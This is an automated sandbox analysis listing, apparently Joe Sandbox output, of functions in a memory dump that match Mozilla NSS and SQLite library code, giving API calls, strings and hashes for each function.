GetCurrentProcess.KERNEL32 ref: 6C641C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C641C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C641CA1
GetLengthSid.ADVAPI32(?), ref: 6C641CA9
malloc.MOZGLUE(00000000), ref: 6C641CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C641CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C641CE4
GetLengthSid.ADVAPI32(?), ref: 6C641CEC
malloc.MOZGLUE(00000000), ref: 6C641CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C641D0F
CloseHandle.KERNEL32(?), ref: 6C641D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C641D4D
GetLastError.KERNEL32 ref: 6C641D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C641D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C641D7A

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: c23683760331de0005acc12a6be0f2af73ef5e741bbb1b3f73919677db620d37
Instruction ID: 889e7f4f19c6208b2f5eaa78cd9e621a07d26bf1b1fbae05392763aab7ae4b2a
Opcode Fuzzy Hash: c23683760331de0005acc12a6be0f2af73ef5e741bbb1b3f73919677db620d37
Instruction Fuzzy Hash: F23153B1A01218AFEB11AF64DD48BAE7BF8FF49305F044075FA0992250EB315D94CF69

Function 6C643D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C643DFB
__allrem.LIBCMT ref: 6C643EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C643FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C644047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6440DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C64415F
__allrem.LIBCMT ref: 6C64416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C644288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6442AB
__allrem.LIBCMT ref: 6C6442B7

Strings

%04d, xrefs: 6C64407B
%02d, xrefs: 6C644086
%03d, xrefs: 6C6442E8
%lld, xrefs: 6C643FB2

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 3f933e64848c6bba9228d2f8778cae9c4d97d282940fe5d0145043946ec717b3
Instruction ID: f59378010d208610e0fd5f0b141a5aedc8739e4045eb2c189fef57281f03b2e4
Opcode Fuzzy Hash: 3f933e64848c6bba9228d2f8778cae9c4d97d282940fe5d0145043946ec717b3
Instruction Fuzzy Hash: 09F11271A087409FD715CF38C882BABB7F6AF86348F14CA2DE48597A51EB70D845CB46

Function 6C64EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64EF63

Part of subcall function 6C6587D0: PORT_NewArena_Util.NSS3(00000800,6C64EF74,00000000), ref: 6C6587E8
Part of subcall function 6C6587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C64EF74,00000000), ref: 6C6587FD
Part of subcall function 6C6587D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C65884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C64F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C64F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C64F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C64F374
PL_strcasecmp.NSS3(6C792FD4,?), ref: 6C64F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C64F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C64F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C64F67D
CERT_DestroyName.NSS3(?), ref: 6C64F68B

Part of subcall function 6C658320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C658338
Part of subcall function 6C658320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C658364
Part of subcall function 6C658320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C65838E
Part of subcall function 6C658320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6583A5
Part of subcall function 6C658320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6583E3

Part of subcall function 6C6584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6584D9
Part of subcall function 6C6584C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C658528

Part of subcall function 6C658900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C658955

Strings

", xrefs: 6C64F21B
*, xrefs: 6C64F3C6
oid., xrefs: 6C64F2CF

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 22598b37596162ae80155a1fda50ee85aca069fdb968bfe1a9d20cb25e0c41ad
Instruction ID: e18ea9ed9a6248c5d47b41839ea4c31155bce88e10ac59415f4bc707a349553f
Opcode Fuzzy Hash: 22598b37596162ae80155a1fda50ee85aca069fdb968bfe1a9d20cb25e0c41ad
Instruction Fuzzy Hash: E122167160C3418FD714DE68C4907ABB7E6ABC531CF18CA2EE49587B91E7319805CB9B

Function 6C5F1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5F1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C5F1FB7

Strings

attached databases must use the same text encoding as main database, xrefs: 6C5F20CA
another row available, xrefs: 6C5F2287
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C5F1F83
table, xrefs: 6C5F1C8B
no more rows available, xrefs: 6C5F2264
sqlite_master, xrefs: 6C5F1C61
unsupported file format, xrefs: 6C5F2188
abort due to ROLLBACK, xrefs: 6C5F2223
sqlite_temp_master, xrefs: 6C5F1C5C
unknown error, xrefs: 6C5F2291

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: e9d6e25d4b1301a629decdaab88034caf591ce553bd529ce83203fd915f44e0f
Instruction ID: dc1ad510cc31742feb499a7abd4afdb76cee612a0da93e9c2a0ada6c17ea11f1
Opcode Fuzzy Hash: e9d6e25d4b1301a629decdaab88034caf591ce553bd529ce83203fd915f44e0f
Instruction Fuzzy Hash: 3612D0B16083418FD708CF19C884A5ABBF2BF85318F19896DD9A58BB51D731EC46CF92

Function 6C615F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

-, xrefs: 6C6162F9
sub-select returns %d columns - expected %d, xrefs: 6C61805F
2, xrefs: 6C6165B4
u, xrefs: 6C6181DA
BINARY, xrefs: 6C618708, 6C618737, 6C6187B8
NOCASE, xrefs: 6C618703
ON clause references tables to its right, xrefs: 6C616BEC
-, xrefs: 6C616228

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: ef9e66a27df0f6ae4f42e797fb2c848e2e05c2b4ec89acc460440e6ca3f00185
Instruction ID: 38c0cadda4c5b945b9cf3d4fe8c143e571acde7e5c9caab0efc9128707572667
Opcode Fuzzy Hash: ef9e66a27df0f6ae4f42e797fb2c848e2e05c2b4ec89acc460440e6ca3f00185
Instruction Fuzzy Hash: 8D43517460C3418FD304CF2DC490A5AB7E2FF89319F15866DE8998BB52D731E846CB96

Function 6C6BEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6BC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6BDAE2,?), ref: 6C6BC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C6BF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C6BF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C78218C), ref: 6C6BF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C6BF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6BF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C6BF210

Part of subcall function 6C6652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C6BF1E9,?,00000000,?,?), ref: 6C6652F5
Part of subcall function 6C6652D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C66530F
Part of subcall function 6C6652D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C665326
Part of subcall function 6C6652D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C6BF1E9,?,00000000,?,?), ref: 6C665340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6BF227

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C6BF23E

Part of subcall function 6C6ABE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E
Part of subcall function 6C6ABE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6BF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C6BF3A8

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C6BF3B3

Part of subcall function 6C662D20: PK11_DestroyObject.NSS3(?,?), ref: 6C662D3C
Part of subcall function 6C662D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C662D5F

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 1c2e0493dd797767a4bcf1d1609de8033d9289cb4044825862a6fa28dabf5087
Instruction ID: 80cf96fd84a0ed2bac78895a38815606644b0437fb28ebfd1a2cf66311502bd0
Opcode Fuzzy Hash: 1c2e0493dd797767a4bcf1d1609de8033d9289cb4044825862a6fa28dabf5087
Instruction Fuzzy Hash: 9AD180B9E016059FDB10CF99D880A9EB7F5EF48308F148429D915B7721EB31E816CB99

Function 6C6EDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002,00000000,?,6C6C7FFA,00000002), ref: 6C6EDE33

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

Part of subcall function 6C6ED000: PORT_ZAlloc_Util.NSS3(00000108,?,6C6EDE74,6C6C7FFA,00000002,?,?,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002), ref: 6C6ED008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C6C7FFA,00000000,?,6C6F23B9,00000002,00000000,?,6C6C7FFA,00000002), ref: 6C6EDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C6EDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6EE121
PK11_FreeSymKey.NSS3(?), ref: 6C6EE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C6EE195
PR_GetCurrentThread.NSS3 ref: 6C6EE1FC

Part of subcall function 6C6E2460: PR_SetError.NSS3(FFFFE005,00000000,6C787379,00000002,?), ref: 6C6E2493

Strings

early application data, xrefs: 6C6EDFC9
handshake data, xrefs: 6C6EDFF7
key, xrefs: 6C6EE046
application data, xrefs: 6C6EDFE0

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 8c67673fef736e6015c13a5f442bd6601ecc545e5d41a71abb3a9f9517509ab0
Instruction ID: fd703863d4fb07b108205b5ff99832ef7ec28ef4d0d96e680d82ffdc432529d2
Opcode Fuzzy Hash: 8c67673fef736e6015c13a5f442bd6601ecc545e5d41a71abb3a9f9517509ab0
Instruction Fuzzy Hash: 5FC12571B0A2059BDB04CF65CC84BEAB7B4FF4D308F14413AE9099BA51E331E955CBA9

Function 6C5DECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C5DEF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DF483
%s at line %d of [%.10s], xrefs: 6C5DF492
database corruption, xrefs: 6C5DF48D

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 9c13f20e17b05c92bffbeec1c53a7a0b13e4fe0f4d23a945d25e827bccfe629e
Instruction ID: 1338e076873cfff932da32471582f82806b0588efc20b7d9c458b78af9907f59
Opcode Fuzzy Hash: 9c13f20e17b05c92bffbeec1c53a7a0b13e4fe0f4d23a945d25e827bccfe629e
Instruction Fuzzy Hash: F162F270A043458FDB04CF6CCC44B9ABBB1AF45318F1A469DD8465BB92D771F886CB98

Function 6C67FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C67FD06

Part of subcall function 6C67F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C67F696
Part of subcall function 6C67F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C67F789
Part of subcall function 6C67F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C67F796
Part of subcall function 6C67F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C67F79F
Part of subcall function 6C67F670: SECITEM_DupItem_Util.NSS3 ref: 6C67F7F0

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C67FDAD

Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C659003,?), ref: 6C6AFD91
Part of subcall function 6C6AFD80: PORT_Alloc_Util.NSS3(A4686C6B,?), ref: 6C6AFDA2
Part of subcall function 6C6AFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6B,?,?), ref: 6C6AFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C67FE00

Part of subcall function 6C6AFD80: free.MOZGLUE(00000000,?,?), ref: 6C6AFDD1

Part of subcall function 6C69E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C69E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C67FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C67FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C67FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C67FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C680007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C680029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C680044

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: e416e8f7e6d3978edf8e2080055305d421bd8308bc42f14c313bcb8d6fb14b49
Instruction ID: b990af6b15b6ac1fd24d98cf0d0623487ffe832766da8b78b6047aafeebbd8ae
Opcode Fuzzy Hash: e416e8f7e6d3978edf8e2080055305d421bd8308bc42f14c313bcb8d6fb14b49
Instruction Fuzzy Hash: 20B1C571504301AFE314CF29C840E6AB7E5FF89308F158A2DE95987A41EB70E945CBA6

Function 6C677D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C677DDC

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C677DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C677F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C677F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C677F98
PK11_FreeSymKey.NSS3(?), ref: 6C677FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C677FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C678000

Part of subcall function 6C699430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C677F0C,?,00000000,00000000,00000000,?), ref: 6C69943B
Part of subcall function 6C699430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C69946B
Part of subcall function 6C699430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C699546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C678110
PK11_FreeSymKey.NSS3(00000000), ref: 6C67811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C67822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C67823C

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
